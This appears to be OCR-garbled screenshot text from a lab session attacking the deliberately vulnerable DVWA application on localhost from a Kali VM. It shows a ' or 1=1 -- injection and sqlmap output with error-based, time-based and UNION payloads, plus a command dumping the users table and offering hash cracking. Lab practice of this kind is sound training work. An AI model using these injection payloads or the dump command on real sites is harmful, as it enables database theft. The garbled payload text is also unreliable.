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XSS (DOM) | First name: Bob
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QEMU (jfrancom-cloned-kali) - Remote Desktop Viewer

Remote View Bookmarks Help

~Acornect «| g B 8 W =17 send ctrl-Alt-Del

[ Vulnerability: SQL

N

< G  @® localhost

° Apps i eportfolic @B dixie @B Geneology Router Limits Bm news 3§ cit-proxmox 3¥ myproxmox Quanta Maga: M Charles Hoy (I

L

L

: H )' Applications Places w Terminal w Fri 13:49 % va 1 & O~

| | . [ | ] Q .-. . ; J
: T | Vulnerability: SQL Injection o po——
mandzle File Edit View Search Terminal Help
I“StrUCtlﬂnﬁ | % ,1))),0x716b767a71, FLOOR(RAND(©)*2) )x FROM INFORMATION SCHEMA.PLUGINS GROUP BY x)a)-- WCRg&Submit=Submjg
it
- User ID: Submit
| ‘ SEtl.lp /'Reset DB m Type: AND/OR time-based blind
Title: MySQL == 5.0.12 OR time-based blind
rfﬁ:jti ID: ' or 1=1 -- E Payload: id=sally' OR SLEEP(5)-- FABW&Submit=Submit
Brute Force | First name: admin Type: UNION query
- Surname: admin Title: MySQL UNION query (NULL) - 2 columns
- Command Injection | Payload: id=sally' UNION ALL SELECT CONCAT(0x716b706271,0x4c44594c455462744T4a695a5a45464e6e54436¢
e e ID | 1 1 @ 6a546b5541616a5848596T737a51696977675ada,0x716b767a71) , NULL#&Submit=Submit
rIJ'.Er_II__ : DI" = - = A
N CSRF | First name: Gordon A [13:49:05] [INFO] the back-end DBMS is MysQL
] ) d web server operating system: Linux Debian
J File Inclusion | Surname: Brown ) web application technology: Apache 2.4.25
|_J back-end DBMS: MySQL == 5.0
File Upload ID: " or 1=1 -- F
N P o [13:49:05] [WARNING] reflective value(s) found and filtering out
First name: Hack
' Insecure CAPTCHA | Surname: Me ﬁ
\_J do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
ID: " or 1=1 -- . do you want to crack them via a dictionary-based attack? [Y/n/q] |} |~ |
SQL Injection (Blind) | ga ?ﬁémg‘?‘mﬁiciiﬂ 1
Weak Session IDs | .
ID: or 1=1 --
XSS (DOM) | First name: Bob
zip | = .
= ‘
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QEMU (jfrancom-cloned-kali) - Remote Desktop Viewer

Remote View Bookmarks Help

~Acornect «| g B 8 W =17 send ctrl-Alt-Del

[ Vulnerability: SQL

L |

< G  @® localhost

|
L
L,

! Apps ,:=i eportfolio @m dixie Bm Geneology Router Limits @ news 3§ cit-proxmox 3§ myproxmox Quanta Maga: M Charles Hoy (I

: ‘ !! !l )‘ Applications Places w Terminal w Fri 13:49 > e 1 & O~

_astzroi
L

Sy,
W

Surname: Picasso

Weak Session IDs
ID: " or 1=1 --

XSS (DOM) First name: Bob

3]
‘ o | Vulnerability: SQL Injection = oot@hal -
| File Edit View Search Terminal Help
Instructions | :~# sqlmap -r /root/dvwa joe intercept -D dvwa -T users --dump3 -
| Setup | Reset DB | User ID: Submit ™M
ID: ' or 1=1 -- EE
Brute Force | First name: admin
: Surname: admin
| J Command Injection | H
ID: ' or 1l=1 -- o)
CSRF First name: Gordon v
| File Inclusion | Surname: Brown 5
_slids File Upload | ID: " or 1=1 -- -
First name: Hack
{ Insecure CAPTCHA | Surname: Me ﬁ
ID: b or 1=1 -- . =
SQL Injection (Blind) | First name: Pablo 1




